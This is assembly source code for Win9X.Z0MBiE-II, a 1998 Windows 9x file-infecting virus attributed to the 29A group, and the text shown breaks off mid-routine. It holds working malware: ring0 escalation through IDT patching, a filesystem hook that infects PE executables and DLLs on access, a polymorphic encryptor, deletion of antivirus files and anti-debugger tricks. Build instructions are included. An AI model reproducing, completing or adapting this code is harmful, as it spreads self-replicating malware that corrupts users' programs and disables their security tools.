
; ===========================================================================
; Win9X.Z0MBiE-II                            copyright (c) 1998 by Z0MBiE/29A
; made in Moscow, Russia                                 z0mbie_29a@yahoo.com
;      *** NOT FOR [RE]PUBLISHING IN VX ZINES IN ANY FORM, EXCEPT 29A ***
; ===========================================================================

; Waves, big like a house
; They're stranded on a piece of wood
; To leave it all behind
; To start again
;
; But instead of a new life
; All they find is a door that's closed
; And they keep looking for
; A place called hope
;                    Scorpions

;                          *** VIRUS DESCRIPTION ***
; on program load:
;   - process polymorphic decryptor
;   - allocate some stack for vars, make copy of unmodified virus
;   - patch IDT/int 0d address, then execute INT 0D - we`re in ring0
;   - if infection method #1:
;      - restore program code section attributes using _PageModifyPermissions
;      - restore program code replaced by virus body
;   - allocate memory using _PageAlloc, go to new location
;   - using _PageModifyPermissions make our pages unaccessible from ring3
;   - init handlers using _FileSystemApiHook & _Hook_PM_Fault
;   - return to program/dll
; on FS call, IFSFN_OPEN/IFSFN_RENAME/IFSFN_FILEATTRIB
;   - infect PE-EXE & PE-DLL files
;       - infecting with previously (at startup) saved copy of virus
;       - poly engine: (very simple, expanding coeff. ~2.5)
;           mov REGi, random_value
;           cmd REGj, random_value / cmd REGj, some_calculated_value
;           push REGk/push CONST
;           ...
;           jmp esp
;       - 2 methods of infection, 1st try method #1
;         1:  - find place in section with std. CODE attributes, write virus
;               there, then write encrypted original bytes from CODE section
;               to the end of last section, then increase last section's
;               physical/virtual sizes
;               this method used for std. PE-EXE files
;         2:  - add new section
;               this method used for some PE-EXE file & all PE-DLL files
;     - process S&D on CODE section (for only method #1)
;     - "alredy infected" sign is PE_Header.TimeStamp equal to 0
; on INT 06
;   - S&D handler (for only 32-bit apps)
; other features:
;   - "active protection" - rewrite+delete some files (AV,etc) on access
;   - internal nop-filled buffer; each time fs handler is called,
;     random jmp/call from virus's body is replaced with jmp to this
;     buffer and correct jmp is stored to buffer till it has some free space
;   - Soft-ICE protection

; a) to compile virus use asm.bat
; b) tasm32 options:  /ml /m
;    tlink32 options: -Tpe -c

;                                Seek & Enjoy !

;DEBUG                   equ     YEZ     ; infect only .z0m files&dont kill av

vir_size_infile         equ     (((vir_size)*5/2+4095) and (not 4095))

IFSMGR_Ring0_FileIO     equ     000400032h

R0_OPENCREATFILE        equ     0D500h  ; Open/Create a file
R0_OPENCREAT_IN_CONTEXT equ     0D501h  ; Open/Create file in current context
R0_READFILE             equ     0D600h  ; Read a file, no context
R0_WRITEFILE            equ     0D601h  ; Write to a file, no context
R0_READFILE_IN_CONTEXT  equ     0D602h  ; Read a file, in thread context
R0_WRITEFILE_IN_CONTEXT equ     0D603h  ; Write to a file, in thread context
R0_CLOSEFILE            equ     0D700h  ; Close a file
R0_GETFILESIZE          equ     0D800h  ; Get size of a file
R0_FINDFIRSTFILE        equ     04E00h  ; Do a LFN FindFirst operation
R0_FINDNEXTFILE         equ     04F00h  ; Do a LFN FindNext operation
R0_FINDCLOSEFILE        equ     0DC00h  ; Do a LFN FindClose operation
R0_FILEATTRIBUTES       equ     04300h  ; Get/Set Attributes of a file
GET_ATTRIBUTES          equ     00h
SET_ATTRIBUTES          equ     01h
R0_RENAMEFILE           equ     05600h  ; Rename a file
R0_DELETEFILE           equ     04100h  ; Delete a file
R0_LOCKFILE             equ     05C00h  ; Lock/Unlock a region in a file
R0_GETDISKFREESPACE     equ     03600h  ; Get disk free space
R0_READABSOLUTEDISK     equ     0DD00h  ; Absolute disk read
R0_WRITEABSOLUTEDISK    equ     0DE00h  ; Absolute disk write


dta_struc               struc
dta_fileattr            dd      ?
dta_time_creation       dq      ?
dta_time_lastaccess     dq      ?
dta_time_lastwrite      dq      ?
dta_filesize_hi         dd      ?
dta_filesize            dd      ?
dta_reserved_0          dd      ?
dta_reserved_1          dd      ?
dta_filename            db      260 dup (?)
dta_filename_short      db      14 dup (?)
                        ends

mz_struc                struc
mz_id                   dw      ?               ; MZ/ZM
mz_last512              dw      ?
mz_num512               dw      ?
mz_relnum               dw      ?
mz_hdrsize              dw      ?               ; in PAR
mz_minmem               dw      ?
mz_maxmem               dw      ?
mz_ss                   dw      ?
mz_sp                   dw      ?
mz_csum                 dw      ?               ; 0
mz_ip                   dw      ?
mz_cs                   dw      ?
mz_relofs               dw      ?
mz_ovrnum               dw      ?               ; 0
                        db      32 dup (?)
mz_neptr                dd      ?
                        ends

pe_struc                struc
pe_id                   dd      ?       ; 00 01 02 03  pe00
pe_cputype              dw      ?       ; 04 05        14c..14e: i386..i586
pe_numofobjects         dw      ?       ; 06 07
pe_datetime             dd      ?       ; 08 09 0a 0b  date/time
pe_cofftableptr         dd      ?       ; 0c 0d 0e 0f
pe_cofftablesize        dd      ?       ; 10 11 12 13
pe_ntheadersize         dw      ?       ; 14 15
pe_exe_flags            dw      ?       ; 16 17
                        ; ntheader
pe_ntheader_id          dw      ?       ; 18 19
pe_linkmajor            db      ?       ; 19
pe_linkminor            db      ?       ; 1a
pe_sizeofcode           dd      ?       ; 1c 1d 1e 1f
pe_sizeofinitdata       dd      ?       ; 20 21 22 23
pe_sizeofuninitdata     dd      ?       ; 24 25 26 27
pe_entrypointrva        dd      ?       ; 28 29 2a 2b
pe_baseofcoderva        dd      ?       ; 2c 2d 2e 2f
pe_baseofdatarva        dd      ?       ; 30 31 32 33
pe_imagebase            dd      ?       ; 34 35 36 37    align: 64k
pe_objectalign          dd      ?       ; 39 30 3a 3b  256n > power2 > 512
pe_filealign            dd      ?       ; 3c 3d 3e 3f   64k > power2 > 512
pe_osmajor              dw      ?       ; 40 41
pe_osminor              dw      ?       ; 42 43
pe_usermajor            dw      ?       ; 44 45
pe_userminor            dw      ?       ; 46 47
pe_subsysmajor          dw      ?       ; 48 49
pe_subsysminor          dw      ?       ; 4a 4b
                        dd      ?       ; 4c 4d 4e 4f
pe_imagesize            dd      ?       ; 50 51 52 53  align: objectalign
pe_headersize           dd      ?       ; 54 55 56 57  dosh+peh+objecttable
pe_checksum             dd      ?       ; 58 59 5a 5b  0
pe_subsystem            dw      ?       ; 5c 5d
pe_dllflags             dw      ?       ; 5e 5f
pe_stackreservesize     dd      ?       ; 60 61 62 63
pe_stackcommitsize      dd      ?       ; 64 65 66 67
pe_heapreservesize      dd      ?       ; 68 69 6a 6b
pe_heapcommitsize       dd      ?       ; 6c 6d 6e 6f
pe_loaderflags          dd      ?       ; 70 71 72 73
pe_numofrvaandsizes     dd      ?       ; 74 75 76 77   =10h
                        ; rva/sizes
pe_rvasizes             label   dword
pe_exporttablerva       dd      ?       ; 78 79 7a 7b
pe_exporttablesize      dd      ?       ; 7c 7d 7e 7f
pe_importtablerva       dd      ?       ; 80 81 82 83
pe_importtablesize      dd      ?       ; 84 85 86 87
pe_resourcetablerva     dd      ?       ; 88 89 8a 8b
pe_resourcetablesize    dd      ?       ; 8c 8d 8e 8f
pe_exceptiontablerva    dd      ?       ; 90 91 92 93
pe_exceptiontablesize   dd      ?       ; 94 95 96 97
pe_securitytablerva     dd      ?       ; 98 99 9a 9b
pe_securitytablesize    dd      ?       ; 9c 9d 9e 9f
pe_fixuptablerva        dd      ?       ; a0 a1 a2 a3
pe_fixuptablesize       dd      ?       ; a4 a5 a6 a7
pe_debugtablerva        dd      ?       ; a8 a9 aa ab
pe_debugtablesize       dd      ?       ; ac ad ae af
pe_imgdescrrva          dd      ?       ; b0 b1 b2 b3
pe_imgdescrsize         dd      ?       ; b4 b5 b6 b7
pe_machinerva           dd      ?       ; b8 b9 ba bb
pe_machinesize          dd      ?       ; bc bd be bf
pe_tlsrva               dd      ?       ; c0 c1 c2 c3
pe_tlssize              dd      ?       ; c4 c5 c6 c7
pe_loadcfgrva           dd      ?       ; c8 c9 ca cb
pe_loadcfgsize          dd      ?       ; cc cd ce cf
                        dq      ?       ; d0 d1 d2 d3 d4 d5 d6 d7
pe_iattablerva          dd      ?       ; d8 d9 da db
pe_iattablesize         dd      ?       ; dc dd de df
                        dq      ?       ; e0 e1 e2 e3 d4 e5 e6 e7
                        dq      ?       ; e8 e9 ea eb ec ed ee ef
                        dq      ?       ; f0 f1 f2 f3 f4 f5 f6 f7
                        ends

oe_struc                struc
oe_section_name         db      8 dup (?);00 01 02 03 04 05 06 07
oe_virt_size            dd      ?       ; 08 09 0a 0b
oe_virt_rva             dd      ?       ; 0c 0d 0e 0f  align: objectalign
oe_phys_size            dd      ?       ; 10 11 12 13
oe_phys_offs            dd      ?       ; 14 15 16 17  align: filealign
                        db      12 dup (?);for obj file
oe_section_flags        dd      ?        ; 24 25 26 27
                        ends

VxDcall                 macro   Service
                        db      0CDh
                        db      020h
                        dd      Service
                        endm

VMMcall                 macro   Service
                        VxDcall VMM&Service&
                        endm

                        p386
                        model   flat

                        locals  __
                        jumps

                        .code

start:
                        db      0b8h
@@kbase                 dd      0

replace_start:
                        mov     ecx, [esp+eax]
                        mov     eax, [esp+eax+4]

                        push    ebp

                        sub     esp, size sdata / 2 - 4
                        push    eax
                        sub     esp, size sdata / 2

                        mov     ebp, esp
                        cld

sdata                   struc
kernel_ptr_r3           dd      ?
dllbase                 dd      ?
idtr                    label   fword
idt_limit               dw      ?
idt_base                dd      ?
idt_entry_saved         dq      ?
r3_vir_copy             db      vir_size dup (?)
                        db      10 dup (?)
                        align   16
                        ends

                        mov     dllbase[esp], eax

                        and     ecx, 0FFFF0000h
                        add     ecx, 65536
__again:                sub     ecx, 65536
                        cmp     word ptr [ecx], 'ZM'
                        jne     __again
                        mov     kernel_ptr_r3[esp], ecx

x                       equ     <[ebp]-401000h>
y                       equ     <+(vir_copy-start)>

                        pusha
                        call    get_base_ebp
                        cmp     @@vir_type x, 1
                        jne     __skip
                        mov     esi, @@orig_rva x
                        add     esi, @@imagebase x
                        mov     ecx, vir_size_infile/4
                        rep     lodsd
                        mov     esi, @@vir_rva x
                        add     esi, @@imagebase x
                        mov     ecx, vir_size_infile/4
                        rep     lodsd
__skip:                 popa

                        call    get_base_eax
                        xchg    esi, eax
                        lea     edi, r3_vir_copy[esp]
                        mov     ecx, vir_size
                        rep     movsb

                        sidt    idtr[esp]

                        mov     esi, idt_base[esp]
                        add     esi, 0Dh*8

                        lea     edi, idt_entry_saved[esp]

                        push    esi
                        push    edi

                        movsd
                        movsd

                        pop     esi
                        pop     edi

;               2 2 2 2 2 1 1 1 1 1 1 1 1 1 1
;31             4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4      0
;------------------------------------------------------------------
;|                               | | D |         |     |          |
;|           RESERVED            |P| P |0 1 1 1 0|0 0 0| RESERVED | +4
;|                               | | L |         |     |          |
;|----------------------------------------------------------------|
;|       SEGMENT SELECTOR        |         OFFSET  15:00          | +0
;------------------------------------------------------------------

; P      1      segment present
; DPL    11     ring 3
;        01110  const

c_idt_desc_offs         equ     int0D - start
c_idt_desc_selector     equ     28h
c_idt_desc_type         equ     1110111000000000b   ; P=1 DPL=3 01110=CONST

;                       dw      c_idt_desc_offs and 65535
;                       dw      c_idt_desc_selector
;                       dw      c_idt_desc_type
;                       dw      c_idt_desc_offs shr 16

                        mov     ecx, 100000     ; to avoid fuckup because of
__wait:                 in      al, 80h         ; twice-patched IDT
                        cmp     al, 88h
                        loope   __wait
                        mov     al, 88h
                        out     80h, al

                        pusha
                        call    get_base_eax
                        add     eax, c_idt_desc_offs
                        stosw
                        shld    ebx, eax, 16
                        mov     ax, c_idt_desc_selector
                        stosw
                        mov     ax, c_idt_desc_type
                        stosw
                        xchg    ebx, eax
                        stosw
                        popa

                        int     0Dh

                        add     esp, size sdata
                        pop     ebp
                        ret

naebka_1:               jnc     naebka_2
                        call    naebka_4

back_from_r0:           add     esp, size sdata
                        pop     ebp
                        jmp     eax

int0D:                  movsd
                        movsd

                        mov     al, 0FFh
                        out     80h, al

                        call    vx_init

                        cli

                        push    ebp
                        mov     edx, kernel_ptr_r3[ebp]

                        call    get_base_ebp

PC_WRITEABLE            equ     00020000H
PC_USER                 equ     00040000H
PC_STATIC               equ     20000000H

VMM_PageModifyPermissions       equ     000010133h

                        cmp     @@vir_type x, 1
                        jne     __skip_1

xx_offs                 equ     50h
                        add     edx, xx_offs

                        push    [edx].dword ptr 0
                        push    [edx].dword ptr 4
                        push    edx

                        lea     esi, __vxd_ret x

                        push    PC_WRITEABLE+PC_STATIC+PC_USER     ; OR_MASK
                        push    0                ; AND_MASK
                        push    @@codesect_pagecount x
                        push    @@codesect_pageaddr12 x
;                       VMMcall _PageModifyPermissions

                        mov     [edx].word ptr 0, 20CDh
                        mov     [edx].dword ptr 2, VMM_PageModifyPermissions
                        mov     [edx].word ptr 6, 0E6FFh  ; jmp esi
                        jmp     edx
__vxd_ret:
                        add     esp, 4*4

                        cli

                        pop     edx
                        pop     [edx].dword ptr 4
                        pop     [edx].dword ptr 0

                        test    @@codesect_flags x, 80000000h
                        jnz     __go

                        push    PC_STATIC+PC_USER     ; OR_MASK
                        push    not PC_WRITEABLE          ; AND_MASK
                        push    @@codesect_pagecount x
                        push    @@codesect_pageaddr12 x
                        VMMcall _PageModifyPermissions
                        add     esp, 4*4

                        cli
__go:

__skip_1:

                        pop     ebp
                        push    ebp

                        call    ring0_code

                        cli

                        pop     ebp

                        lea     eax, r3_vir_copy[ebp]
                        add     eax, __r3stack - start
                        jmp     eax

__r3stack:              mov     ecx, dllbase[ebp]

                        call    get_base_ebp

                        mov     ebx, @@imagebase x

                        cmp     @@vir_type x, 1
                        jne     __skip_2

                        mov     edx, @@decr_key x

                        mov     esi, @@orig_rva x
                        mov     edi, @@vir_rva x
                        add     esi, ebx
                        add     edi, ebx

                        push    ecx
                        mov     ecx, vir_size_infile / 4
                        cld

;                       in      al, 61h
;                       or      al, 3
;                       out     61h, al

__decr_1:               lodsd

                        sub     eax, edx
                        stosd

                        rol     edx, 13
                        dec     edx

                        loop    __decr_1

;                       in      al, 61h
;                       and     al, not 3
;                       out     61h, al

                        pop     ecx

__skip_2:
                        cmp     @@vir_type x, 0
                        je      __iret
                        cmp     @@vir_type x, 2
                        je      __mmm2

__back:                 lea     eax, back_from_r0 x
                        mov     [esp], eax        ; INT stack frame->EIP

                        mov     eax, @@saveeip x  ; eax=return address
                        add     eax, ebx

__iret:                 call    vx_done

                        iret

__mmm2:                 cmp     @@is_dll x, 1
                        jne     __back

                        mov     eax, @@saveeip x
                        add     eax, ecx

                        lea     ecx, back_from_r0_dll x
                        mov     [esp], ecx

                        mov     edx, @@kbase x

                        call    vx_done

                        iret

naebka_3:               jc      naebka_4

back_from_r0_dll:       add     esp, size sdata
                        pop     ebp

                        add     esp, edx

                        or      eax, eax
                        jz      __eax_0

                        jmp     eax

__eax_0:                mov     eax, 1
                        retn    0ch

VMM_Begin_Critical_Section      equ     00001001Fh
VMM_End_Critical_Section        equ     000010020h

vx_init:                pusha
                        mov     ecx, 110111b
                        VMMcall _Begin_Critical_Section
                        popa
                        ret

vx_done:                pusha
                        VMMcall _End_Critical_Section
                        popa
                        ret

id_offs                 equ     0040h
id_byte                 equ     'Z'

ring0_code:             cli

                        mov     edx, kernel_ptr_r3[ebp]
                        cmp     byte ptr ds:[edx + id_offs], id_byte
                        je      __ret    ; NC

VMM_PageAllocate        equ     000010053h
PAGEZEROINIT            equ     00000001h
PAGEFIXED               equ     00000008h
PG_SYS                  equ     1

                        push    edx

                        push    PAGEFIXED + PAGEZEROINIT
                        xor     eax, eax
                        push    eax     ; PhysAddr
                        push    eax     ; maxPhys
                        push    eax     ; minPhys
                        push    eax     ; Align
                        push    eax     ; handle of VM = 0 if PG_SYS
                        push    PG_SYS  ; allocate memory in system area
                        push    virPages; nPages
                        VMMcall _PageAllocate
                        add     esp, 8*4

                        cli

                        pop     edx

                        or      eax, eax; error?
                        jz      __ret_error

                        mov     edi, eax          ; pointer to new r0 location
                        lea     esi, r3_vir_copy[ebp]
                        mov     ecx, vir_size     ; size of code
                        rep     movsb

                        pusha
                        push    PC_STATIC                  ; OR_MASK
                        push    not (PC_WRITEABLE+PC_USER) ; AND_MASK
                        push    virPages
                        shr     eax, 12
                        push    eax
                        VMMcall _PageModifyPermissions
                        add     esp, 4*4

                        cli

                        popa

                        sub     edi, vir_size - (__new_r0_loc - start)
                        jmp     edi

__new_r0_loc:           lea     esi, r3_vir_copy[ebp]

                        call    get_base_ebp

                        mov     kernel_base x, edx

                        lea     edi, vir_copy x
                        mov     ecx, vir_size
                        rep     movsb

                        mov     byte ptr ds:[edx + id_offs], id_byte

        IFDEF   DEBUG
                        mov     dword ptr ds:[edx + id_offs + 16], ebp
        ENDIF

                        call    xor_copy

                        call    hook_IFS
                        call    hook_faults

                        cli

                        call    get_base_ebp
                        sidt    r0_idt x
                        mov     eax, dword ptr r0_idt x + 2
                        add     eax, eblo
                        mov     bx, [eax+01h*8-eblo].word ptr 6
                        shl     ebx, 16
                        mov     bx, [eax+01h*8-eblo].word ptr 0
                        mov     byte ptr [ebx], 0CFh
                        mov     bx, [eax+03h*8-eblo].word ptr 6
                        shl     ebx, 16
                        mov     bx, [eax+03h*8-eblo].word ptr 0
                        mov     byte ptr [ebx], 0CFh

__ret:                  ret

__ret_error:

        IFDEF   DEBUG
                        mov     ecx, 10
                        call    debug_beep
                        loop    $-5
        ENDIF

                        ret

naebka_6:               call    naebka_7

hook_IFS:

IFSMGR_InstallFileSystemApiHook equ     000400067h

                        lea     eax, ifs_handler x
                        push    eax
                        VxDcall IFSMGR_InstallFileSystemApiHook
                        add     esp, 1*4

                        or      eax, eax
                        jz      __ret

                        mov     oldhandler_ptr_ptr x, eax

                        mov     entered x, 0

__ret:                  ret

VMM_Hook_V86_Fault      equ     00001007Fh
VMM_Hook_PM_Fault       equ     000010080h
VMM_Hook_VMM_Fault      equ     000010081h

hook_faults:
                        mov     eax, 06h
                        lea     esi, fault_handler x
                        VMMcall _Hook_PM_Fault
                        mov     fault_previous x, esi

                        ret

VMM_Allocate_GDT_Selector       equ     000010076h
VMM_VMMCreateThread             equ     000010105h

get_base_ebp:           call    $+5
                        pop     ebp
                        sub     ebp, offset $-1-start
                        ret

get_base_eax:           call    $+5
                        pop     eax
                        sub     eax, offset $-1-start
                        ret

naebka_5:               jmp     naebka_6

Client_Reg_Struc        struc
Client_EDI              dd      ?       ; client's EDI
Client_ESI              dd      ?       ; client's ESI
Client_EBP              dd      ?       ; client's EBP
                        dd      ?       ; ESP when pusha instruction is executed
Client_EBX              dd      ?       ; client's EBX
Client_EDX              dd      ?       ; client's EDX
Client_ECX              dd      ?       ; client's ECX
Client_EAX              dd      ?       ; client's EAX
Client_Error            dd      ?       ; doubleword error code
Client_EIP              dd      ?       ; EIP
Client_CS               dw      ?,?     ; CS
Client_EFlags           dd      ?       ; EFLAGS
Client_ESP              dd      ?       ; ESP
Client_SS               dw      ?,?     ; SS
Client_ES               dw      ?,?     ; ES
Client_DS               dw      ?,?     ; DS
Client_FS               dw      ?,?     ; FS
Client_GS               dw      ?,?     ; GS
Client_Alt_EIP          dd      ?
Client_Alt_CS           dw      ?,?
Client_Alt_EFlags       dd      ?
Client_Alt_ESP          dd      ?
Client_Alt_SS           dw      ?,?
Client_Alt_ES           dw      ?,?
Client_Alt_DS           dw      ?,?
Client_Alt_FS           dw      ?,?
Client_Alt_GS           dw      ?,?
                        ends

fault_handler:          pushf
                        push    eax
                        push    esi

                     ;  db      0FFh                    +0
                     ;  db      0FFh                    +1
                     ;  db      ????Xxxx                +2
                     ;  dw      OLD_DATA xor word(EIP)  +3 +4
                     ;     hi_word = X
                     ;  dw      ?                       +5 +6

                        mov     esi, [ebp].Client_EIP

                        test    esi, 0FFFF0000h
                        jz      __go_next_handler

                        mov     ax, [esi]

                        cmp     ax, 0FFFFh
                        jne     __go_next_handler


        IFDEF   DEBUG
                        call    debug_beep
        ENDIF
                        mov     byte ptr [esi], 0E8h

                        mov     al, [esi+2]
                        and     ax, 1111b
                        test    al, 1000b
                        jz      __1
                        or      ax, 1111111111110000b
__1:                    shl     eax, 16
                        mov     ax, [esi+3]
                        xor     ax, si

                        mov     [esi+1], eax

                        mov     word ptr [esi+5], 0C483h

__exit_handler:         pop     esi
                        pop     eax
                        popf
                        ret

__go_next_handler:      pop     esi
                        pop     eax
                        popf

                        jmp     go_prev_fault


ifs_onstack_struc       struc
                        dd      ? ; saved ebp
                        dd      ? ; return address
                        dd      ? ; the address of the FSD function that is to be called for this API
_function               dd      ? ; the function that is being performed
_drive                  dd      ? ; the 1-based drive the operation is being performed on (-1 if UNC)
                        dd      ? ; the kind of resource the operation is being performed on
_codepage               dd      ? ; the codepage that the user string was passed in on
_ioreq_ptr              dd      ? ; pointer to IOREQ structure
                        ends

ifs_handler:            push    ebp

                        call    get_base_ebp

x                       equ     <[ebp]-401000h>

                        cmp     entered x, 0
                        jne     __quit
                        inc     entered x

                        ;;

                        mov     eax, [esp]._function

IFSFN_OPEN              equ     36
IFSFN_RENAME            equ     37
IFSFN_FILEATTRIB        equ     33

                        cmp     eax, IFSFN_OPEN
                        je      __my_func
                        cmp     eax, IFSFN_RENAME
                        je      __my_func
                        cmp     eax, IFSFN_FILEATTRIB
                        je      __my_func

__exit:                 dec     entered x

__quit:                 pop     ebp

                        jmp     go_old_ifs_handler


__my_func:              pusha

                        lea     edi, filename x
                        cld             ; !

                        mov     filename_ptr x, edi

                        mov     eax, [esp]._drive + 32

                        cmp     al, -1
                        je      __skip

                        or      al, al
                        jz      __skip_drive

                        add     al, 'A'-1

                        cmp     al, 'A'
                        jl      __skip
                        cmp     al, 'Z'
                        jg      __skip

                        stosb
                        mov     al, ':'
                        stosb

__skip_drive:

IFSMGR_UniToBCSPath     equ     000400041h

                        mov     eax, [esp]._codepage+32 ; BCS_WANSI/BCS_OEM
                        push    eax
                        push    filename_size-1 ; max name length
                        mov     eax, [esp]._ioreq_ptr+ 8+ 32
                        mov     eax, [eax] + 0Ch    ; filename
                        add     eax, 4          ; skip "
                        push    eax             ; uni-str
                        push    edi             ; output-str
                        VxDcall IFSMGR_UniToBCSPath
                        add     esp, 4*4

                        mov     byte ptr [edi+eax], 0

                        call    infect_file

__skip:                 popa
                        jmp     __exit

infect_file:            pusha

                        call    get_base_ebp
                        cld

                        call    xor_copy

                        call    replace_proc

                        xor     eax, eax        ; |-))
                        mov     dr0, eax
                        mov     dr1, eax
                        mov     dr2, eax
                        mov     dr3, eax

                        mov     edx, filename_ptr x
                        mov     ecx, 1+2+4+32     ; hsra
                        lea     esi, dta x
                        call    ffindfirst
                        jc      __exit
                        call    ffindclose

                        ;;

                        mov     esi, filename_ptr x
__5:                    inc     esi
                        cmp     byte ptr [esi], 0
                        jne     __5
__6:                    dec     esi
                        cmp     byte ptr [esi], '\'
                        jne     __6
                        inc     esi

                        lea     edi, shortname x
                        push    edi
                        mov     ecx, short_name_len+short_ext_len
                        mov     al, 32
                        rep     stosb
                        pop     edi

                        mov     ecx, short_name_len
__b:                    lodsb
                        or      al, al
                        jz      __a
                        cmp     al, '.'
                        je      __c
                        or      ecx, ecx
                        jle     __b
                        stosb
                        dec     ecx
                        jmp     __b
__c:                    lea     edi, shortname x + short_name_len
                        mov     ecx, short_ext_len
__d:                    lodsb
                        or      al, al
                        jz      __a
                        stosb
                        loop    __d
__a:

                        ;;

                        lea     esi, shortname x

                        lea     edi, kewl_names x
                        call    is_in_list
                        jc      __exit

                        lea     edi, suck_names x
                        call    is_in_list
                        jnc     __good_file

        IFNDEF  DEBUG
                        mov     edx, filename_ptr x
                        call    fdelete
        ELSE
                        nop
        ENDIF

                        jmp     __exit
__good_file:
                        ;;

        IFDEF   DEBUG
                        mov     edi, filename_ptr x
                        mov     ecx, filename_size
                        xor     al, al
                        cld
                        repnz   scasb
                        mov     eax, [edi].dword ptr -5
                        or      eax, 20202000h
                        cmp     eax, 'm0z.'
                        jne     __exit
        ENDIF

infect_minsize          equ     16384             ; 16K
infect_maxsize          equ     100*1024*1024     ; 100M

                        mov     eax, dta.dta_filesize x
                        cmp     eax, infect_minsize
                        jb      __exit
                        cmp     eax, infect_maxsize
                        ja      __exit

                        mov     edx, filename_ptr x
                        mov     ecx, 32
                        call    fsetattr
                        jc      __exit

                        mov     edx, filename_ptr x
                        call    fopen
                        jc      __restattr
                        mov     filehandle x, eax

                        lea     edx, mz x
                        mov     ecx, size mz
                        mov     ebx, filehandle x
                        xor     esi, esi          ; filepos
                        call    fread

                        mov     ax, mz.mz_id x
                        cmp     ax, 'ZM'
                        jne     __close

                        cmp     mz.mz_relnum x, 0
                        je      __1
                        cmp     mz.mz_relofs x, 40h
                        jb      __close

__1:                    mov     esi, mz.mz_neptr x

                        lea     edx, pe x
                        mov     ecx, size pe
                        mov     ebx, filehandle x
                        call    fread
                        cmp     ecx, size pe
                        jne     __close
                        add     esi, ecx

                        cmp     pe.pe_ntheadersize x, 0E0h
                        jne     __close

                        cmp     pe.pe_datetime x, 0
                        je      __close

                        mov     eax, pe.pe_entrypointrva x
                        or      eax, eax
                        jz      __close
                        mov     @@saveeip x y, eax

                        mov     @@is_dll x y, 1

                        mov     ax, pe.pe_exe_flags x
                        test    al, 2         ; executable
                        jz      __close
                        test    ah, 20h       ; dll?    1=fixed
                        jnz     __method_2

                        cmp     pe.pe_dllflags x, 0
                        jne     __method_2

;                       cmp     pe.pe_imagebase x, 400000h
;                       jne     __close

                        mov     @@is_dll x y, 0


                        ;;

                        movzx   edi, pe.pe_numofobjects x
__try_section:          or      edi, edi
;                       jz      __set_stamp
                        jz      __method_2

                        mov     oeV_ptr x, esi

                        lea     edx, oeV x
                        mov     ecx, size oe_struc
                        mov     ebx, filehandle x
                        call    fread
                        cmp     ecx, size oe_struc
                        jne     __close
                        add     esi, ecx

                        mov     eax, oeV.oe_section_flags x
                        and     eax, 60000020h ; read,exec,code
                        cmp     eax, 60000020h
                        jne     __nextsection

                        mov     eax, oeV.oe_virt_rva x    ; eax=v.start RVA

__restart:              mov     ebx, vir_size_infile
                        cmp     ebx, oeV.oe_phys_size x
                        ja      __nextsection
                        add     ebx, eax                 ; ebx=v.end RVA

                        mov     ecx, oeV.oe_virt_rva x
                        add     ecx, oeV.oe_phys_size x
                        cmp     ebx, ecx
                        ja      __nextsection

                        mov     ecx, pe.pe_numofrvaandsizes x

__2:                    dec     ecx
                        js      __offset_found

                        cmp     pe.pe_rvasizes[ecx*8+4] x, 0
                        je      __2
                        mov     edx, pe.pe_rvasizes[ecx*8+0] x
                        cmp     edx, ebx
                        ja      __2
                        add     edx, pe.pe_rvasizes[ecx*8+4] x
                        cmp     edx, eax
                        jbe     __2

                        mov     eax, edx
                        jmp     __restart

__nextsection:          dec     edi
                        jmp     __try_section

__offset_found:         mov     @@vir_rva x y, eax

                        sub     eax, oeV.oe_virt_rva x
                        add     eax, oeV.oe_phys_offs x
                        mov     @@vir_offset x y, eax

                        mov     eax, oeV.oe_virt_rva x
                        add     eax, pe.pe_imagebase x
                        shr     eax, 12
                        mov     @@codesect_pageaddr12 x y, eax

                        mov     eax, oeV.oe_virt_size x
                        add     eax, 4095
                        shr     eax, 12
                        mov     @@codesect_pagecount x y, eax

                        mov     eax, oeV.oe_section_flags x
                        mov     @@codesect_flags x y, eax

;                       and     oeV.oe_section_flags x, not 80000000h ; clear W
                        btr     oeV.oe_section_flags x, 15

                        mov     eax, pe.pe_imagebase x
                        mov     @@imagebase x y, eax

                        ;;

                        call    __read_last_sect

                        mov     eax, oeL.oe_virt_rva x
                        add     eax, oeL.oe_phys_size x
                        mov     @@orig_rva x y, eax

                        mov     eax, oeL.oe_phys_offs x
                        add     eax, oeL.oe_phys_size x
                        mov     @@orig_offs x y, eax

                        sub     eax, dta.dta_filesize x
                        neg     eax
                        cmp     eax, pe.pe_objectalign x
                        ja      __method_2

                        mov     eax, oeL.oe_phys_size x
                        cmp     eax, oeL.oe_virt_size x
                        jbe     __size_okey
                        sub     eax, oeL.oe_virt_size x
                        cmp     eax, vir_size_infile
                        jae     __method_2
                        add     oeL.oe_virt_size x, eax
                        add     pe.pe_imagesize x, eax
__size_okey:


                        add     oeL.oe_phys_size x, vir_size_infile
                        add     oeL.oe_virt_size x, vir_size_infile
                        add     pe.pe_imagesize x, vir_size_infile

                        lea     edx, oeL x
                        mov     ecx, size oe_struc
                        mov     ebx, filehandle x
                        call    fwrite

                        ;;

                        lea     edx, orig_bytes x
                        mov     ecx, vir_size_infile
                        mov     esi, @@vir_offset x y
                        mov     ebx, filehandle x
                        call    fread

                        ;;
                        call    random_eax
                        xchg    edx, eax

                        mov     @@decr_key x y, edx

                        lea     esi, orig_bytes x
                        mov     ecx, vir_size_infile / 4
__encr_1:               mov     eax, [esi]
                        add     eax, edx
                        mov     [esi], eax
                        rol     edx, 13
                        dec     edx
                        add     esi, 4
                        loop    __encr_1

                        ;;

                        lea     edx, orig_bytes x
                        mov     ecx, vir_size_infile
                        mov     esi, @@orig_offs x y
                        mov     ebx, filehandle x
                        call    fwrite

                        mov     @@vir_type x y, 1

                        call    poly_engine

                        ;;

                        mov     eax, @@vir_rva x y
                        add     eax, poly_entrypoint x
                        mov     pe.pe_entrypointrva x, eax

                        lea     edx, poly x
                        mov     ecx, vir_size_infile
                        mov     esi, @@vir_offset x y
                        mov     ebx, filehandle x
                        call    fwrite

                        ;;

                        mov     ecx, filename_ptr x
                        cmp     [ecx].byte ptr 0, 'C'
                        jb      __skip_sd

;                       mov     eax, [ecx].dword ptr 2
;                       or      eax, 20202000h
;                       cmp     eax, 'niw\'
;                       jne     __skip_sd

                        mov     esi, oeV.oe_phys_offs x
                        mov     ecx, oeV.oe_phys_size x
                        shr     ecx, sd_buf_size_log2

__cycle_sd:             dec     ecx
                        jz      __skip_sd

                        push    ecx

                        lea     edx, sd_buf x
                        mov     ecx, sd_buf_size
                        mov     ebx, filehandle x
                        call    fread

                        lea     edi, sd_count x
